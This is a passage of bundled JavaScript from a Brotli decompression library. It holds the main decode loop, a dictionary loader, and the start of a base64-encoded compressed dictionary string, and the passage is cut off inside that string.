BrotliBitReader.IBUF_MASK + 1 - br_pos;\n for (var x = 0; x < tail; x++)\n ringbuffer[rb_pos + x] = br.buf_[br_pos + x];\n \n nbytes -= tail;\n rb_pos += tail;\n len -= tail;\n br_pos = 0;\n }\n\n for (var x = 0; x < nbytes; x++)\n ringbuffer[rb_pos + x] = br.buf_[br_pos + x];\n \n rb_pos += nbytes;\n len -= nbytes;\n\n /* If we wrote past the logical end of the ringbuffer, copy the tail of the\n ringbuffer to its beginning and flush the ringbuffer to the output. */\n if (rb_pos >= rb_size) {\n output.write(ringbuffer, rb_size);\n rb_pos -= rb_size; \n for (var x = 0; x < rb_pos; x++)\n ringbuffer[x] = ringbuffer[rb_size + x];\n }\n\n /* If we have more to copy than the remaining size of the ringbuffer, then we\n first fill the ringbuffer from the input and then flush the ringbuffer to\n the output */\n while (rb_pos + len >= rb_size) {\n nbytes = rb_size - rb_pos;\n if (br.input_.read(ringbuffer, rb_pos, nbytes) < nbytes) {\n throw new Error('[CopyUncompressedBlockToOutput] not enough bytes');\n }\n output.write(ringbuffer, rb_size);\n len -= nbytes;\n rb_pos = 0;\n }\n\n /* Copy straight from the input onto the ringbuffer. The ringbuffer will be\n flushed to the output at a later time. */\n if (br.input_.read(ringbuffer, rb_pos, len) < len) {\n throw new Error('[CopyUncompressedBlockToOutput] not enough bytes');\n }\n\n /* Restore the state of the bit reader. */\n br.reset();\n}\n\n/* Advances the bit reader position to the next byte boundary and verifies\n that any skipped bits are set to zero. */\nfunction JumpToByteBoundary(br) {\n var new_bit_pos = (br.bit_pos_ + 7) & ~7;\n var pad_bits = br.readBits(new_bit_pos - br.bit_pos_);\n return pad_bits == 0;\n}\n\nfunction BrotliDecompressedSize(buffer) {\n var input = new BrotliInput(buffer);\n var br = new BrotliBitReader(input);\n DecodeWindowBits(br);\n var out = DecodeMetaBlockLength(br);\n return out.meta_block_length;\n}\n\nexports.BrotliDecompressedSize = BrotliDecompressedSize;\n\nfunction BrotliDecompressBuffer(buffer, output_size) {\n var input = new BrotliInput(buffer);\n \n if (output_size == null) {\n output_size = BrotliDecompressedSize(buffer);\n }\n \n var output_buffer = new Uint8Array(output_size);\n var output = new BrotliOutput(output_buffer);\n \n BrotliDecompress(input, output);\n \n if (output.pos < output.buffer.length) {\n output.buffer = output.buffer.subarray(0, output.pos);\n }\n \n return output.buffer;\n}\n\nexports.BrotliDecompressBuffer = BrotliDecompressBuffer;\n\nfunction BrotliDecompress(input, output) {\n var i;\n var pos = 0;\n var input_end = 0;\n var window_bits = 0;\n var max_backward_distance;\n var max_distance = 0;\n var ringbuffer_size;\n var ringbuffer_mask;\n var ringbuffer;\n var ringbuffer_end;\n /* This ring buffer holds a few past copy distances that will be used by */\n /* some special distance codes. */\n var dist_rb = [ 16, 15, 11, 4 ];\n var dist_rb_idx = 0;\n /* The previous 2 bytes used for context. */\n var prev_byte1 = 0;\n var prev_byte2 = 0;\n var hgroup = [new HuffmanTreeGroup(0, 0), new HuffmanTreeGroup(0, 0), new HuffmanTreeGroup(0, 0)];\n var block_type_trees;\n var block_len_trees;\n var br;\n\n /* We need the slack region for the following reasons:\n - always doing two 8-byte copies for fast backward copying\n - transforms\n - flushing the input ringbuffer when decoding uncompressed blocks */\n var kRingBufferWriteAheadSlack = 128 + BrotliBitReader.READ_SIZE;\n\n br = new BrotliBitReader(input);\n\n /* Decode window size. */\n window_bits = DecodeWindowBits(br);\n max_backward_distance = (1 << window_bits) - 16;\n\n ringbuffer_size = 1 << window_bits;\n ringbuffer_mask = ringbuffer_size - 1;\n ringbuffer = new Uint8Array(ringbuffer_size + kRingBufferWriteAheadSlack + BrotliDictionary.maxDictionaryWordLength);\n ringbuffer_end = ringbuffer_size;\n\n block_type_trees = [];\n block_len_trees = [];\n for (var x = 0; x < 3 * HUFFMAN_MAX_TABLE_SIZE; x++) {\n block_type_trees[x] = new HuffmanCode(0, 0);\n block_len_trees[x] = new HuffmanCode(0, 0);\n }\n\n while (!input_end) {\n var meta_block_remaining_len = 0;\n var is_uncompressed;\n var block_length = [ 1 << 28, 1 << 28, 1 << 28 ];\n var block_type = [ 0 ];\n var num_block_types = [ 1, 1, 1 ];\n var block_type_rb = [ 0, 1, 0, 1, 0, 1 ];\n var block_type_rb_index = [ 0 ];\n var distance_postfix_bits;\n var num_direct_distance_codes;\n var distance_postfix_mask;\n var num_distance_codes;\n var context_map = null;\n var context_modes = null;\n var num_literal_htrees;\n var dist_context_map = null;\n var num_dist_htrees;\n var context_offset = 0;\n var context_map_slice = null;\n var literal_htree_index = 0;\n var dist_context_offset = 0;\n var dist_context_map_slice = null;\n var dist_htree_index = 0;\n var context_lookup_offset1 = 0;\n var context_lookup_offset2 = 0;\n var context_mode;\n var htree_command;\n\n for (i = 0; i < 3; ++i) {\n hgroup[i].codes = null;\n hgroup[i].htrees = null;\n }\n\n br.readMoreInput();\n \n var _out = DecodeMetaBlockLength(br);\n meta_block_remaining_len = _out.meta_block_length;\n if (pos + meta_block_remaining_len > output.buffer.length) {\n /* We need to grow the output buffer to fit the additional data. */\n var tmp = new Uint8Array( pos + meta_block_remaining_len );\n tmp.set( output.buffer );\n output.buffer = tmp;\n } \n input_end = _out.input_end;\n is_uncompressed = _out.is_uncompressed;\n \n if (_out.is_metadata) {\n JumpToByteBoundary(br);\n \n for (; meta_block_remaining_len > 0; --meta_block_remaining_len) {\n br.readMoreInput();\n /* Read one byte and ignore it. */\n br.readBits(8);\n }\n \n continue;\n }\n \n if (meta_block_remaining_len === 0) {\n continue;\n }\n \n if (is_uncompressed) {\n br.bit_pos_ = (br.bit_pos_ + 7) & ~7;\n CopyUncompressedBlockToOutput(output, meta_block_remaining_len, pos,\n ringbuffer, ringbuffer_mask, br);\n pos += meta_block_remaining_len;\n continue;\n }\n \n for (i = 0; i < 3; ++i) {\n num_block_types[i] = DecodeVarLenUint8(br) + 1;\n if (num_block_types[i] >= 2) {\n ReadHuffmanCode(num_block_types[i] + 2, block_type_trees, i * HUFFMAN_MAX_TABLE_SIZE, br);\n ReadHuffmanCode(kNumBlockLengthCodes, block_len_trees, i * HUFFMAN_MAX_TABLE_SIZE, br);\n block_length[i] = ReadBlockLength(block_len_trees, i * HUFFMAN_MAX_TABLE_SIZE, br);\n block_type_rb_index[i] = 1;\n }\n }\n \n br.readMoreInput();\n \n distance_postfix_bits = br.readBits(2);\n num_direct_distance_codes = NUM_DISTANCE_SHORT_CODES + (br.readBits(4) << distance_postfix_bits);\n distance_postfix_mask = (1 << distance_postfix_bits) - 1;\n num_distance_codes = (num_direct_distance_codes + (48 << distance_postfix_bits));\n context_modes = new Uint8Array(num_block_types[0]);\n\n for (i = 0; i < num_block_types[0]; ++i) {\n br.readMoreInput();\n context_modes[i] = (br.readBits(2) << 1);\n }\n \n var _o1 = DecodeContextMap(num_block_types[0] << kLiteralContextBits, br);\n num_literal_htrees = _o1.num_htrees;\n context_map = _o1.context_map;\n \n var _o2 = DecodeContextMap(num_block_types[2] << kDistanceContextBits, br);\n num_dist_htrees = _o2.num_htrees;\n dist_context_map = _o2.context_map;\n \n hgroup[0] = new HuffmanTreeGroup(kNumLiteralCodes, num_literal_htrees);\n hgroup[1] = new HuffmanTreeGroup(kNumInsertAndCopyCodes, num_block_types[1]);\n hgroup[2] = new HuffmanTreeGroup(num_distance_codes, num_dist_htrees);\n\n for (i = 0; i < 3; ++i) {\n hgroup[i].decode(br);\n }\n\n context_map_slice = 0;\n dist_context_map_slice = 0;\n context_mode = context_modes[block_type[0]];\n context_lookup_offset1 = Context.lookupOffsets[context_mode];\n context_lookup_offset2 = Context.lookupOffsets[context_mode + 1];\n htree_command = hgroup[1].htrees[0];\n\n while (meta_block_remaining_len > 0) {\n var cmd_code;\n var range_idx;\n var insert_code;\n var copy_code;\n var insert_length;\n var copy_length;\n var distance_code;\n var distance;\n var context;\n var j;\n var copy_dst;\n\n br.readMoreInput();\n \n if (block_length[1] === 0) {\n DecodeBlockType(num_block_types[1],\n block_type_trees, 1, block_type, block_type_rb,\n block_type_rb_index, br);\n block_length[1] = ReadBlockLength(block_len_trees, HUFFMAN_MAX_TABLE_SIZE, br);\n htree_command = hgroup[1].htrees[block_type[1]];\n }\n --block_length[1];\n cmd_code = ReadSymbol(hgroup[1].codes, htree_command, br);\n range_idx = cmd_code >> 6;\n if (range_idx >= 2) {\n range_idx -= 2;\n distance_code = -1;\n } else {\n distance_code = 0;\n }\n insert_code = Prefix.kInsertRangeLut[range_idx] + ((cmd_code >> 3) & 7);\n copy_code = Prefix.kCopyRangeLut[range_idx] + (cmd_code & 7);\n insert_length = Prefix.kInsertLengthPrefixCode[insert_code].offset +\n br.readBits(Prefix.kInsertLengthPrefixCode[insert_code].nbits);\n copy_length = Prefix.kCopyLengthPrefixCode[copy_code].offset +\n br.readBits(Prefix.kCopyLengthPrefixCode[copy_code].nbits);\n prev_byte1 = ringbuffer[pos-1 & ringbuffer_mask];\n prev_byte2 = ringbuffer[pos-2 & ringbuffer_mask];\n for (j = 0; j < insert_length; ++j) {\n br.readMoreInput();\n\n if (block_length[0] === 0) {\n DecodeBlockType(num_block_types[0],\n block_type_trees, 0, block_type, block_type_rb,\n block_type_rb_index, br);\n block_length[0] = ReadBlockLength(block_len_trees, 0, br);\n context_offset = block_type[0] << kLiteralContextBits;\n context_map_slice = context_offset;\n context_mode = context_modes[block_type[0]];\n context_lookup_offset1 = Context.lookupOffsets[context_mode];\n context_lookup_offset2 = Context.lookupOffsets[context_mode + 1];\n }\n context = (Context.lookup[context_lookup_offset1 + prev_byte1] |\n Context.lookup[context_lookup_offset2 + prev_byte2]);\n literal_htree_index = context_map[context_map_slice + context];\n --block_length[0];\n prev_byte2 = prev_byte1;\n prev_byte1 = ReadSymbol(hgroup[0].codes, hgroup[0].htrees[literal_htree_index], br);\n ringbuffer[pos & ringbuffer_mask] = prev_byte1;\n if ((pos & ringbuffer_mask) === ringbuffer_mask) {\n output.write(ringbuffer, ringbuffer_size);\n }\n ++pos;\n }\n meta_block_remaining_len -= insert_length;\n if (meta_block_remaining_len <= 0) break;\n\n if (distance_code < 0) {\n var context;\n \n br.readMoreInput();\n if (block_length[2] === 0) {\n DecodeBlockType(num_block_types[2],\n block_type_trees, 2, block_type, block_type_rb,\n block_type_rb_index, br);\n block_length[2] = ReadBlockLength(block_len_trees, 2 * HUFFMAN_MAX_TABLE_SIZE, br);\n dist_context_offset = block_type[2] << kDistanceContextBits;\n dist_context_map_slice = dist_context_offset;\n }\n --block_length[2];\n context = (copy_length > 4 ? 3 : copy_length - 2) & 0xff;\n dist_htree_index = dist_context_map[dist_context_map_slice + context];\n distance_code = ReadSymbol(hgroup[2].codes, hgroup[2].htrees[dist_htree_index], br);\n if (distance_code >= num_direct_distance_codes) {\n var nbits;\n var postfix;\n var offset;\n distance_code -= num_direct_distance_codes;\n postfix = distance_code & distance_postfix_mask;\n distance_code >>= distance_postfix_bits;\n nbits = (distance_code >> 1) + 1;\n offset = ((2 + (distance_code & 1)) << nbits) - 4;\n distance_code = num_direct_distance_codes +\n ((offset + br.readBits(nbits)) <<\n distance_postfix_bits) + postfix;\n }\n }\n\n /* Convert the distance code to the actual distance by possibly looking */\n /* up past distnaces from the ringbuffer. */\n distance = TranslateShortCodes(distance_code, dist_rb, dist_rb_idx);\n if (distance < 0) {\n throw new Error('[BrotliDecompress] invalid distance');\n }\n\n if (pos < max_backward_distance &&\n max_distance !== max_backward_distance) {\n max_distance = pos;\n } else {\n max_distance = max_backward_distance;\n }\n\n copy_dst = pos & ringbuffer_mask;\n\n if (distance > max_distance) {\n if (copy_length >= BrotliDictionary.minDictionaryWordLength &&\n copy_length <= BrotliDictionary.maxDictionaryWordLength) {\n var offset = BrotliDictionary.offsetsByLength[copy_length];\n var word_id = distance - max_distance - 1;\n var shift = BrotliDictionary.sizeBitsByLength[copy_length];\n var mask = (1 << shift) - 1;\n var word_idx = word_id & mask;\n var transform_idx = word_id >> shift;\n offset += word_idx * copy_length;\n if (transform_idx < Transform.kNumTransforms) {\n var len = Transform.transformDictionaryWord(ringbuffer, copy_dst, offset, copy_length, transform_idx);\n copy_dst += len;\n pos += len;\n meta_block_remaining_len -= len;\n if (copy_dst >= ringbuffer_end) {\n output.write(ringbuffer, ringbuffer_size);\n \n for (var _x = 0; _x < (copy_dst - ringbuffer_end); _x++)\n ringbuffer[_x] = ringbuffer[ringbuffer_end + _x];\n }\n } else {\n throw new Error(\"Invalid backward reference. pos: \" + pos + \" distance: \" + distance +\n \" len: \" + copy_length + \" bytes left: \" + meta_block_remaining_len);\n }\n } else {\n throw new Error(\"Invalid backward reference. pos: \" + pos + \" distance: \" + distance +\n \" len: \" + copy_length + \" bytes left: \" + meta_block_remaining_len);\n }\n } else {\n if (distance_code > 0) {\n dist_rb[dist_rb_idx & 3] = distance;\n ++dist_rb_idx;\n }\n\n if (copy_length > meta_block_remaining_len) {\n throw new Error(\"Invalid backward reference. pos: \" + pos + \" distance: \" + distance +\n \" len: \" + copy_length + \" bytes left: \" + meta_block_remaining_len);\n }\n\n for (j = 0; j < copy_length; ++j) {\n ringbuffer[pos & ringbuffer_mask] = ringbuffer[(pos - distance) & ringbuffer_mask];\n if ((pos & ringbuffer_mask) === ringbuffer_mask) {\n output.write(ringbuffer, ringbuffer_size);\n }\n ++pos;\n --meta_block_remaining_len;\n }\n }\n\n /* When we get here, we must have inserted at least one literal and */\n /* made a copy of at least length two, therefore accessing the last 2 */\n /* bytes is valid. */\n prev_byte1 = ringbuffer[(pos - 1) & ringbuffer_mask];\n prev_byte2 = ringbuffer[(pos - 2) & ringbuffer_mask];\n }\n\n /* Protect pos from overflow, wrap it around at every GB of input data */\n pos &= 0x3fffffff;\n }\n\n output.write(ringbuffer, pos & ringbuffer_mask);\n}\n\nexports.BrotliDecompress = BrotliDecompress;\n\nBrotliDictionary.init();\n","var base64 = require('base64-js');\nvar fs = require('fs');\n\n/**\n * The normal dictionary-data.js is quite large, which makes it \n * unsuitable for browser usage. In order to make it smaller, \n * we read dictionary.bin, which is a compressed version of\n * the dictionary, and on initial load, Brotli decompresses \n * it's own dictionary. 😜\n */\nexports.init = function() {\n var BrotliDecompressBuffer = require('./decode').BrotliDecompressBuffer;\n var compressed = base64.toByteArray(require('./dictionary.bin.js'));\n return BrotliDecompressBuffer(compressed);\n};\n","module.exports=\"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